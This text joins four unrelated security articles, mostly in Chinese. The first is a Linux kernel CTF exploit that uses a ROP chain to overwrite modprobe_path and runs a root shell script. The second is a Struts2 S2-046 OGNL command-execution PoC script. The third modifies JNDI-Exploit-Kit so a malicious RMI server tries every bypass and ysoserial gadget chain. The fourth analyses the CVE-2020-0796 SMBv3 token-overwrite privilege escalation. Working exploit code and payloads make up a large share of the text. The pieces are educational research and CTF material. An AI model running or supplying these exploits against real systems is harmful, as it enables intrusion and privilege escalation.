说明：在我之前的系列文章中，我演示了作者使用的一个漏洞利用方法，使用四个阶段的Payload来调用`commit_creds(prepare_kernel_cred(0))`。如果大家有兴趣，可以前往阅读。
## 0x02 覆写modprobe_path技术
首先，什么是modprobe？根据维基百科的说法，modprobe是最初由Rusty
Russell编写的Linux程序，用于在Linux内核中添加可加载的内核模块。实际上，当我们在Linux内核中安装或卸载新模块时，就会执行这个程序。它的路径是一个内核全局变量，默认为`/sbin/modprobe`，我们可以通过运行以下命令来检查它：
cat /proc/sys/kernel/modprobe
-> /sbin/modprobe
到目前为止，我们可能还会有疑问，为什么这个程序可以被用于内核漏洞利用？答案在于以下两个原因：
首先，modprobe的路径（默认情况下为`/sbin/modprobe`）存储在内核本身的`modprobe_path`符号以及可写页面中。我们可以通过读取`/proc/kallsyms`来获取其地址（由于KASLR机制，因此这个地址各不相同）：
cat /proc/kallsyms | grep modprobe_path
-> ffffffffa7a61820 D modprobe_path
其次，当我们执行具有未知文件类型的文件时，将执行存储在modprobe_path路径的程序。更准确地说，如果我们针对系统未知文件签名（魔术头）的文件调用execve()，则会产生以下调用，最终调用到modprobe：
（1）do_execve()
（2）do_execveat_common()
（3）bprm_execve()
（4）exec_binprm()
（5）search_binary_handler()
（6）request_module()
（7）call_modprobe()
所有这些调用最终都将执行以下操作：
static int call_modprobe(char *module_name, int wait)
{
...
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name;
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
...
}
简而言之，当我们在系统上执行文件类型未知的文件时，系统将会执行当前路径存储在modprobe_path中的任何文件。因此，我们所研究的技术就是使用任意写入原语，将modprobe_path覆盖到我们自己编写的Shell脚本的路径中，然后执行具有未知文件签名的虚拟文件。其结果将导致在系统仍处于内核模式时执行Shell脚本，从而导致root特权的任意代码执行。
要查看该技术的实际案例，我们可以为kernel-rop编写一个Payload。
## 0x03 Payload
### 3.1 收集小工具和地址
该技术的前提条件如下：
（1）知道`modprobe_path`的地址；
（2）知道`kpti_trampoline`的地址，以便在覆写`modprobe_path`之后干净地返回到用户空间；
（3）有任意写入原语。
针对我们要挑战的这道题目，在栈缓冲区溢出的场景中，这三个前提条件实际上只能满足一个，也就是我们仅仅知道内核映像基址，其原因在于：
（1）`modprobe_path`和`kpti_trampoline`都没有受到FG-KASLR的影响，因此它们的地址和内核映像基址之间的偏移量是恒定的。
（2）对于任意写入，我们可以使用这三个小工具，它们位于内核开头的区域，不会受到FG-KASLR的影响：
unsigned long pop_rax_ret = image_base + 0x4d11UL; // pop rax; ret;
unsigned long pop_rbx_r12_rbp_ret = image_base + 0x3190UL; // pop rbx ; pop r12 ; pop rbp ; ret;
unsigned long write_ptr_rbx_rax_pop2_ret = image_base + 0x306dUL; // mov qword ptr [rbx], rax; pop rbx; pop rbp; ret;
我们泄漏内核映像基址，可以使用`hackme_read()`操作来计算这些地址：
void leak(void){
unsigned n = 40;
unsigned long leak[n];
ssize_t r = read(global_fd, leak, sizeof(leak));
cookie = leak[16];
image_base = leak[38] - 0xa157ULL;
kpti_trampoline = image_base + 0x200f10UL + 22UL;
pop_rax_ret = image_base + 0x4d11UL;
pop_rbx_r12_rbp_ret = image_base + 0x3190UL;
write_ptr_rbx_rax_pop2_ret = image_base + 0x306dUL;
modprobe_path = image_base + 0x1061820UL;
printf("[*] Leaked %zd bytes\n", r);
printf(" --> Cookie: %lx\n", cookie);
printf(" --> Image base: %lx\n", image_base);
}
### 3.2 覆写modprobe_path
在泄漏后，现在的目标是将`modprobe_path`覆盖为我们可以控制的文件的路径。在大多数Linux系统中，我们可以以任意用户的身份自由地读写`/tmp`目录，因此我将使用上述三个小工具将`modprobe_path`覆盖到名为`/tmp/x`的文件中，然后在经过`kpti_trampoline`后，安全地返回到用户空间中的函数`get_flag()`。
void overflow(void){
unsigned n = 50;
unsigned long payload[n];
unsigned off = 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rax_ret; // return address
payload[off++] = 0x782f706d742f; // rax <- "/tmp/x"
payload[off++] = pop_rbx_r12_rbp_ret;
payload[off++] = modprobe_path; // rbx <- modprobe_path
payload[off++] = 0x0; // dummy r12
payload[off++] = 0x0; // dummy rbp
payload[off++] = write_ptr_rbx_rax_pop2_ret; // modprobe_path <- "/tmp/x"
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = (unsigned long)get_flag;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload to overwrite modprobe_path");
ssize_t w = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
### 3.3 执行任意脚本
既然`modprobe_path`指向`/tmp/x`，我们要做的就是编写其内容，该内容将以root特权执行。在这种情况下，我们只需要编写一个简单的Shell脚本，将该标志从`/dev/sda`复制到`/tmp`目录中，并使其对所有用户可读。脚本如下：
#!/bin/sh
cp /dev/sda /tmp/flag
chmod 777 /tmp/flag
之后，我编写了一个仅包含`\xtf`字节的虚拟文件，以使其成为系统的未知文件，然后执行它。在执行完成后，我们应该在`/tmp`中可以看到一个可以读取的flag文件：
void get_flag(void){
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
puts("[*] Run unknown file");
system("/tmp/dummy");
puts("[*] Hopefully flag is readable");
system("cat /tmp/flag");
exit(0);
}
如果一切顺利，应该就可以打印这个flag。
## 0x04 总结
至此，我想我们都理解了为什么PWN大神们如此喜爱这种技术。当我在充分理解后编写漏洞利用程序时，我感到非常惊讶，因为它不仅非常易于理解和使用，而且前提条件非常少，在这两点上都具有优势。因此，我立刻就完成了这篇文章，希望能对大家有所帮助。
## 0x05 附录
完整漏洞利用代码请参考：<https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/modprobe.c> 。 | 社区文章 |
以为S2-045暂告一段落了。今天在订阅的sec-wiki又看到出来个Struts2-046: A new
vector，S2-046漏洞和S2-045漏洞很相似，都是由于对Header某个字段信息处理发生异常，错误信息连带着payload同过buildErrorMessage函数带入LocalizedTextUtil.findText造成的。
但是不同的是，这次漏洞的触发点在Content-Length和Content-Disposition字段的filename中。
最早看到的网上的poc是通过Content-Disposition字段的filename字段触发的。POC发出post请求形如：
从网上流传的POC地址拿到demo程序<https://github.com/pwntester/S2-046-PoC，按照他的说明，我也用同样的方式把程序跑起来进行测试。如下：>
Demo的页面如下：
开始用github给出的poc测试，因为不直观只能在idea的log中看到漏洞触发的信息，很快看到安全客<http://bobao.360.cn/learning/detail/3571.html已经给出了poc并验证成功。为了后面还要调试程序，我迅速改写了Python检测脚本。>
#!/usr/bin/env python
# encoding:utf-8
import requests
class Sugarcrm():
def poctest(self):
boundary="---------------------------735323031399963166993862150"
paylaod="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
url = 'http://10.65.10.195:8080/doUpload.action'
headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}
data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--"+boundary+"--"
requests.post(url, headers=headers,data=data)
if __name__ == '__main__':
test = Sugarcrm()
test.poctest()
用之前sugarcrm反序列化的脚本改的，可以忽视类名。先测试验证漏洞如下:
由于本机搭的环境，很多几个同事都在测，回显总是500，电脑卡到无法打开Word。这里将poc执行的命令修改为calc.exe。从idea的日志中可以看到漏洞触发的大概信息，以及函数调用关系:
这就简单了，根据上面的函数调用先后，在几个地方下断点,分别是JakartaStreamMultiPartRequest.parse、JakartaStreamMultiPartRequest.processFileItemStreamAsFileField、Streams.checkFileName。这些信息都可以从上面的log截图中看到。但是由于使用mvn命令行跑的程序，不知道怎么以调试模式运行，后来请教的专门从事java开发的同学，使用idea自带的Maven也可以，只要命令行参数为clean
jetty:run -DskipTests，就可以以调试模式运行tomcat了。设置如下：
首先在JakartaStreamMultiPartRequest.parse函数中进入processUpload函数。继续跟进：
在processUpload函数中会执行到processFileItemStreamAsFileField并进入。
这里进入getName函数
看下getName函数的定义，是调用了Streams.checkFileName函数。
进入checkFileName函数，跟进发现在处理POC代码filename字段中的\0b字符时触发异常。
跟进异常，可以看到filename的值已经被传入异常处理函数。
随后继续根进，程序流程到了一开始的JakartaStreamMultiPartRequest.parse函数中，并进入buildErrorMessage函数并传入了异常消息。继续跟进进入了下好断点的LocalizedTextUtil.findText函数。到这就和S2-045漏洞一样了。太卡了，调试时就截了几张图，其它都可以看源代码。如图
另外一个触发点是Content-Length 的长度值超长，网上POC给出的是Content-Length:
1000000000.但其它同事并没有测试成功。我猜想这里如果真触发异常。也需要有构造好的payload一同带进异常消息。和启明的@孤水绕城同学聊，据他介绍该字段触发异常带入的还是filename字段的payload。如图：
但每次用burp修改大小并发送请求时。大小并没有改变。导致无法进一步验证。这个还需要再研究。
**参考**
[1] <http://bobao.360.cn/learning/detail/3571.html>
[2] <http://bobao.360.cn/learning/detail/3639.html>
[3] <https://github.com/pwntester/S2-046-PoC>
[4] <https://cwiki.apache.org/confluence/display/WW/S2-046>
[5] <https://github.com/apache/struts/>
[6] <https://sec-wiki.com/news/10004> | 社区文章 |
author:藏青@雁行安全团队
最近学习了`浅蓝`师傅寻找的一些JNDI漏洞的利用链受益匪浅，自己也尝试关于JNDI漏洞利用做一些挖掘，目前JNDI在利用过程我想到了两个问题。
* 测试每一个JNDI Bypass 利用链都需要手动更改URL很不方便，能否我去请求一个地址，让目标将我所有的链跑一遍？
* JNDI利用过程中可以通过反序列化利用，能否自动化探测反序列化利用链？
## 自动测试Bypass 利用链
为了让这种方式更加通用，我们首先考虑的是JDK原生的实现`ObjectFactory`的类，那么我注意到了下面几个类。
* com.sun.jndi.rmi.registry.RegistryContextFactory
* com.sun.jndi.ldap.LdapCtxFactory
### RegistryContextFactory
#### 调用分析
通过`getURLs`从Reference获取url列表并封装为数组，`URLsToObject`中对数组中的URL列表发起`RMI`请求，所以RegistryContextFactory满足我们的需求。
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
//判断是否为引用对象并且factoryClassname为RegistryContextFactory
if (!isRegistryRef(var1)) {
return null;
} else {
//从引用对象中获取URL列表并循环发起调用
Object var5 = URLsToObject(getURLs((Reference)var1), var4);
if (var5 instanceof RegistryContext) {
RegistryContext var6 = (RegistryContext)var5;
var6.reference = (Reference)var1;
}
return var5;
}
}
* getURLs获取URL必须满足RefAddr是StringRefAddr类型且Type属性为URL才会保存。
private static String[] getURLs(Reference var0) throws NamingException {
int var1 = 0;
String[] var2 = new String[var0.size()];
Enumeration var3 = var0.getAll();
//从RefAddr中获取url并保存到数组中
while(var3.hasMoreElements()) {
RefAddr var4 = (RefAddr)var3.nextElement();
//只有RefAddr是StringRefAddr类型，且Type属性为URL才会保存
if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
var2[var1++] = (String)var4.getContent();
}
}
if (var1 == 0) {
throw new ConfigurationException("Reference contains no valid addresses");
} else if (var1 == var0.size()) {
return var2;
} else {
//返回URL数组
String[] var5 = new String[var1];
System.arraycopy(var2, 0, var5, 0, var1);
return var5;
}
}
* URLsToObject中创建`rmiURLContextFactory`对象并调用`getObjectInstance`。`getObjectInstance`中判断传入的object类型如果是数组则调用`getUsingURLs`.
private static Object URLsToObject(String[] var0, Hashtable<?, ?> var1) throws NamingException {
rmiURLContextFactory var2 = new rmiURLContextFactory();
return var2.getObjectInstance(var0, (Name)null, (Context)null, var1);
}
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
if (var1 == null) {
return new rmiURLContext(var4);
} else if (var1 instanceof String) {
return getUsingURL((String)var1, var4);
} else if (var1 instanceof String[]) {
//数组类型
return getUsingURLs((String[])((String[])var1), var4);
} else {
throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
}
}
* getUsingURLs创建`rmiURLContext`并循环调用lookup发起RMI调用直到获取一个对象并返回。
private static Object getUsingURLs(String[] var0, Hashtable<?, ?> var1) throws NamingException {
if (var0.length == 0) {
throw new ConfigurationException("rmiURLContextFactory: empty URL array");
} else {
rmiURLContext var2 = new rmiURLContext(var1);
try {
NamingException var3 = null;
int var4 = 0;
while(var4 < var0.length) {
try {
Object var5 = var2.lookup(var0[var4]);
return var5;
} catch (NamingException var9) {
var3 = var9;
++var4;
}
}
throw var3;
} finally {
var2.close();
}
}
}
#### 利用分析
通过`RegistryContextFactory`利用只能使用`rmi`协议发起请求，所以目前只能用这种方式检测rmi相关的利用，在`Orange`师傅的`JNDI-Exploit-Kit`工具中集成了一部分关于RMI的利用链，其中也包含了`Tomcat`和`GROOVY`的bypass，当然Groovy的执行也依赖Tomcat。工具运行后会生成一些RMI的URL，我们可以将`RegistryContextFactory`也加到利用链中。
在`RMIRefServer`中包含了RMI处理的逻辑，因此可以把`RegistryContextFactory`引用也注册进去。
/*
* Fuzz All Bypass
* Created by 藏青
*/
public ResourceRef execAll() throws RemoteException, NamingException{
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
//Mapper.references中保存了随机生成的rmi名称和利用方式的关系
for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
String mapKey = entry.getKey();
String mapValue = entry.getValue();
//如果是RegistryContextFactory则跳过，否则会造成递归查询
if(!mapValue.equals("BypassTestAll")){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
}
}
return ref;
}
`RMIRefServer#handleRMI`中会根据请求的url找到对应的处理方法生成引用对象并返回，所以我们只要将我们构造的`execAll`方法也加入到if判断中即可。
private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if ( method != 2 ) { // lookup
return false;
}
//获取rmi请求的对象名称，这里是随机生成的额名称
String object = (String) ois.readObject();
System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method);
String cpstring = this.classpathUrl.toString();
//根据取出的名称从Mapper.references中取出利用方式对应的名称
String reference = Mapper.references.get(object);
if (reference == null) {
System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found.");
//return false;
cpstring = "BypassByGroovy";
}
URL turl = new URL(cpstring + "#" + reference);
out.writeByte(TransportConstants.Return);// transport op
try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
//创建ReferenceWrapper包装类
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
// 根据名称不同调用不同的方法得到对应的引用对象
if (reference.startsWith("BypassByEL")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByEL.");
Reflections.setFieldValue(rw, "wrappee", execByEL());
} else if (reference.startsWith("BypassByGroovy")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByGroovy.");
Reflections.setFieldValue(rw, "wrappee", execByGroovy());
}
//将我们的构造的execAll方法加到判断中
else if (reference.startsWith("BypassTestAll")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassTestAll.");
Reflections.setFieldValue(rw, "wrappee", execAll());
}
else {
System.out.println(
String.format(
getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s",
new URL(cpstring + reference.concat(".class"))));
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}
由于`util.Mapper#references`中包含了引用关系，所以这里也需要做下更改。
static {
...
references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassTestAll");
instructions.put("BypassTestAll","Build in "+ withColor("JDK - (BYPASSAll by @藏青)",ANSI_RED) +" whose test All Bypass Payload");
}
当然我们也可以把之前分析的一些利用链也加进去，但是这并不是我们本片文章的重点，就不分析了。添加并启动后，可以看到我们我们添加的利用链地址。
在tomcat中请求我们创建的`registry`会将所有的利用链跑一遍，如果利用失败则会导致异常进入下一个利用链，直到跑成功获取对象并返回。
我们也可以从server端进行验证，因为我这里使用的tomcat8所以跑到el表达式后利用成功并返回。
#### 栈溢出
忽然想到如果我们在引用中的地址也是`RegistryContextFactory`那不就会导致递归的lookup查询，是否会产生什么问题。服务端代码如下：
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
经过测试递归查询会触发tomcat的栈溢出异常，但是并不会对程序的使用产生影响。
### LdapCtxFactory
`LdapCtxFactory`和`RegistryContextFactory`相对应，具体的过程不分析了，最终是通过`LdapCtxFactory#getUsingURL`来执行，但是只会获取到`DirContext`并没有调用Lookup方法，所以似乎不能利用。
private static DirContext getUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
Object var2 = null;
LdapURL var3 = new LdapURL(var0);
String var4 = var3.getDN();
String var5 = var3.getHost();
int var6 = var3.getPort();
String var8 = null;
String[] var7;
if (var5 == null && var6 == -1 && var4 != null && (var8 = ServiceLocator.mapDnToDomainName(var4)) != null && (var7 = ServiceLocator.getLdapService(var8, var1)) != null) {
String var9 = var3.getScheme() + "://";
String[] var10 = new String[var7.length];
String var11 = var3.getQuery();
String var12 = var3.getPath() + (var11 != null ? var11 : "");
for(int var13 = 0; var13 < var7.length; ++var13) {
var10[var13] = var9 + var7[var13] + var12;
}
var2 = getUsingURLs(var10, var1);
((LdapCtx)var2).setDomainName(var8);
} else {
var2 = new LdapCtx(var4, var5, var6, var1, var3.useSsl());
((LdapCtx)var2).setProviderUrl(var0);
}
//返回DirContext对象
return (DirContext)var2;
}
## 自动测试反序列化利用链
通过对问题一的分析，我们现在只能利用`RMI`协议来协助我们一次性发起多个RMI调用，目前的大多数工具都是基于Ldap来进行反序列化利用的，不过在RMI中也可以通过反序列化利用。
首先我们要利用的场景是去通过RMI攻击客户端，所以可以利用`ysoserial#JRMPListener`模块来利用，它构建了一个`JRMP`监听，当客户端发起请求时会构建一个异常对象`BadAttributeValueExpException`，并在这个异常对象的`val`属性中放入我们要构造好的恶意对象。
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
//写入异常标识
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
//构建BadAttributeValueExpException异常对象，并在val属性中加入恶意对象。
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val",payload );
oos.writeObject(ex);
当客户端发起请求时,会在`StreamRemoteCall#executeCall`中通过判断`returnType`是否为`TransportConstants#ExceptionalReturn`来决定是否反序列化，也就是只有返回出现异常时才会对异常对象进行反序列化。
switch (returnType) {
case TransportConstants.NormalReturn:
break;
case TransportConstants.ExceptionalReturn:
Object ex;
try {
//当返回类型为ExceptionalReturn则进行反序列化
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}
// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
但是由于我们构建了一个异常对象，在执行过程中会抛出异常。而我们在分析`RegistryContextFactory`时说过，只有当返回正常时才会停止，返回异常会继续请求其他的RMI地址，所以如果这样利用，只能把所有的反序列化利用链Fuzz一遍，我们并不知道哪个利用链可用。
### 失败尝试一
分析在`StreamRemoteCall#executeCall`的利用过程我发现，只要设置了`TransportConstants#ExceptionalReturn`都会进行反序列化，如果我们仅仅设置了这个字段，但是传入的是只是我们的恶意对象，能否绕过此处的报错？所以我对JRMPListener做了如下更改。
但是在反序列化结束后会判断我们传入的是否为异常对象，如果不是也会抛异常。
### 失败尝试二
继续分析发现`RegistryImpl_Stub#lookup`中也会进行反序列化，但是会将反序列化的结果转成Remote类型，如果我们返回的不是Remote的实现类也会导致异常。
### 利用分析
虽然我们不能直接通过是否继续请求来判断利用链存在，但是还是可以通过DNSLog的方式进行判断。我们可以在每次请求后获取DNSLog的结果，如果有返回值则代表利用链可用。
但是在编写好代码测试时惊喜的发现，在利用失败捕获异常时只会捕获`NamingException`类型的异常。
如果利用链没找到，会抛出`CommunicationException`异常，而这个异常是`NamingException`的子类，因此会被捕获
如果利用成功，抛出的是其他类型的异常，则不会被捕获。
但是这里还有一个问题，有些利用类存在，但是由于JDK版本或者其他问题导致不能利用，比如`CC1`，这个时候也会抛出其他异常，但是并不能触发漏洞，所以在自动化探测的时候要将这些类去除掉。
大概测了下在CC链中`CC1`,`CC3`,`CC7`都不能使用。`CC1`和`CC3`都是因为JDK版本过高无法使用可以理解，但是在`CC7`中明明可以执行成功但是还是会返回`CommunicationException`异常。
其他的利用链也先不测试了，这里只大致说下思路。通过这种实现已经可以达到自动化探测部分利用链了。最终我们服务端请求中最后一个请求的`gadget`就是存在的利用链。
代码实现主要是在`JNDI-Exploit-Kit`基础上做了一点点小改进，主要是在if判断中继续加上了`execAllGadgat`方法。
在`execAllGadgat`方法中遍历已经添加的利用链并添加到引用对象中。
public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};
public Object execAllGadgat() {
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
for(String gadget:gadgets){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
}
return ref;
}
由于我们的Payload并没有在`references`中添加，因此从Map中会获取不到，所以我这里加了一个判断，当object以ser开头，则表示是通过反序列化利用，给`reference`赋值。
最后再加上一个引用判断，如果以`serial`开头则取出调用链名称获取恶意对象直接写入。
public Object execGadgets(String className) throws Exception {
Class clazz = Class.forName("ysoserial.payloads."+className);
ObjectPayload<?> payload = (ObjectPayload<?>) clazz.newInstance();
final Object objBefore = payload.getObject("whoami", "exec_global");
return objBefore;
}
## 总结
虽然这次的小发现对于JNDI漏洞的利用来说可能有些画蛇添足，通过这几天的研究也发现了自己对RMI请求理解上的不足，最后对这种利用方式做一个总结。
* 由于我们要传入一个ObjectFactory类名，所以需要一个Reference对象，但是JDK自带的只有`LinkRef`，不能传递ObjectFactory的类名，所以这里还是使用了tomcat中的`ResourceRef`,所以还是有些依赖Tomcat。
* 由于`LdapCtxFactory`最终没有调用Lookup方法，因此目前只能通过RMI协议来进行自动化检测
* 由于`CC1`,`CC3`,`CC7`无法通过返回的异常类型判断是否存在，所以不能检测这几条链。目前我只测了CC链，其他类型的利用链是否有异常未测试 | 社区文章 |
**Author：SungLin@Knownsec 404 Team**
**Time: April 2, 2020**
**Chinese version:<https://paper.seebug.org/1164/>**
## 0x00 Background
On March 12, 2020, Microsoft confirmed that a critical vulnerability affecting
the SMBv3 protocol exists in the latest version of Windows 10, and assigned it
with CVE-2020-0796, which could allow an attacker to remotely execute the code
on the SMB server or client. On March 13 they announced the poc that can cause
BSOD, and on March 30, the poc that can promote local privileges was released
. Here we analyze the poc that promotes local privileges.
## 0x01 Exploit principle
The vulnerability exists in the srv2.sys driver. Because SMB does not properly
handle compressed data packets, the function `Srv2DecompressData` is called
when processing the decompressed data packets. The compressed data size of the
compressed data header, `OriginalCompressedSegmentSize` and `Offset`, is not
checked for legality, which results in the addition of a small amount of
memory. `SmbCompressionDecompress` can be used later for data processing.
Using this smaller piece of memory can cause copy overflow or out-of-bounds
access. When executing a local program, you can obtain the current offset
address of the `token + 0x40` of the local program that is sent to the SMB
server by compressing the data. After that, the offset address is in the
kernel memory that is copied when the data is decompressed, and the token is
modified in the kernel through a carefully constructed memory layout to
enhance the permissions.
## 0x02 Get Token
Let's analyze the code first. After the POC program establishes a connection
with smb, it will first obtain the Token of this program by calling the
function `OpenProcessToken`. The obtained Token offset address will be sent to
the SMB server through compressed data to be modified in the kernel driver.
Token is the offset address of the handle of the process in the kernel. TOKEN
is a kernel memory structure used to describe the security context of the
process, including process token privilege, login ID, session ID, token type,
etc.
Following is the Token offset address obtained by my test.
## 0x03 Compressed Data
Next, poc will call `RtCompressBuffer` to compress a piece of data. By sending
this compressed data to the SMB server, the SMB server will use this token
offset in the kernel, and this piece of data is `'A' * 0x1108 + (ktoken +
0x40)`.
The length of the compressed data is 0x13. After this compressed data is
removed except for the header of the compressed data segment, the compressed
data will be connected with two identical values `0x1FF2FF00BC`, and these two
values will be the key to elevation.
## 0x04 debugging
Let's debug it first, because here is an integer overflow vulnerability. In
the function srv2! `Srv2DecompressData`, an integer overflow will be caused by
the multiplication `0xffff ffff * 0x10 = 0xf`, and a smaller memory will be
allocated in `srvnet! SrvNetAllocateBuffer`.
After entering `srvnet! SmbCompressionDecompress` and `nt!
RtlDecompressBufferEx2` to continue decompression, then entering the function
`nt! PoSetHiberRange`, and then starting the decompression operation, adding
`OriginalMemory = 0xffff ffff` to the memory address of the `UnCompressBuffer`
storage data allocated by the integer overflow just started Get an address far
larger than the limit, it will cause copy overflow.
But the size of the data we need to copy at the end is 0x1108, so there is
still no overflow, because the real allocated data size is 0x1278, when
entering the pool memory allocation through `srvnet! SrvNetAllocateBuffer`,
finally enter `srvnet! SrvNetAllocateBufferFromPool` to call `nt!
ExAllocatePoolWithTag` to allocate pool memory.
Although the copy did not overflow, it did overwrite other variables in this
memory, including the return value of `srv2! Srv2DecompressDatade`. The
`UnCompressBuffer_address`is fixed at 0x60, and the return value relative to
the `UnCompressBuffer_address` offset is fixed at 0x1150, which means that the
offset to store the address of the `UnCompressBuffer` relative to the return
value is `0x10f`0, and the address to store the offset data is `0x1168`,
relative to the storage decompression Data address offset is `0x1108`.
There is a question why it is a fixed value, because the `OriginalSize =
0xffff fff`f, offset = 0x10 passed in this time, the multiplication integer
overflow is `0xf`, and in `srvnet! SrvNetAllocateBuffer`, the size of the
passed in 0xf is judged, which is less At `0x1100`, a fixed value of `0x1100`
will be passed in as the memory allocation value of the subsequent structure
space for the corresponding operation, and when the value is greater than
`0x1100`, the size passed in will be used.
Then return to the decompressed data. The size of the decompressed data is
`0x13`. The decompression will be performed normally. Copy `0x1108`of "A", the
offset address of the 8-byte `token + 0x40` will be copied to the back of "A".
After decompression and copying the decompressed data to the address that was
initially allocated, exit the decompression function normally, and then call
memcpy for the next data copy. The key point is that rcx now becomes the
address of `token + 0x40`of the local program!!!
After the decompression, the distribution of memory data is `0x1100 ('A') +
Token = 0x1108`, and then the function `srvnet! SrvNetAllocateBuffe`r is
called to return the memory address we need, and the address of v8 is just the
initial memory offset `0x10f0`, so `v8 + 0x18 = 0x110`8, the size of the copy
is controllable, and the offset size passed in is 0x10. Finally, memcpy is
called to copy the source address to the compressed data`0x1FF2FF00BC` to the
destination address `0xffff9b893fdc46f0` (token + 0x40), the last 16 Bytes
will be overwritten, the value of the token is successfully modified.
## 0x05 Elevation
The value that is overwritten is two identical `0x1FF2FF00BC`. Why use two
identical values to overwrite the offset of `token + 0x40`? This is one of the
methods for operating the token in the windows kernel to enhance the
authority. Generally, there are two methods.
The first method is to directly overwrite the Token. The second method is to
modify the Token. Here, the Token is modified.
In windbg, you can run the `kd> dt _token` command to view its structure.
So modify the value of `_SEP_TOKEN_PRIVILEGES` to enable or disable it, and
change the values of Present and Enabled to all privileges of the SYSTEM
process token `0x1FF2FF00BC`, and then set the permission to:
This successfully elevated the permissions in the kernel, and then execute any
code by injecting regular shellcode into the windows process "winlogon.exe":
Then it performed the action of the calculator as follows:
**Reference link:**
1. <https://github.com/eerykitty/CVE-2020-0796-PoC>
2. <https://github.com/danigargu/CVE-2020-0796>
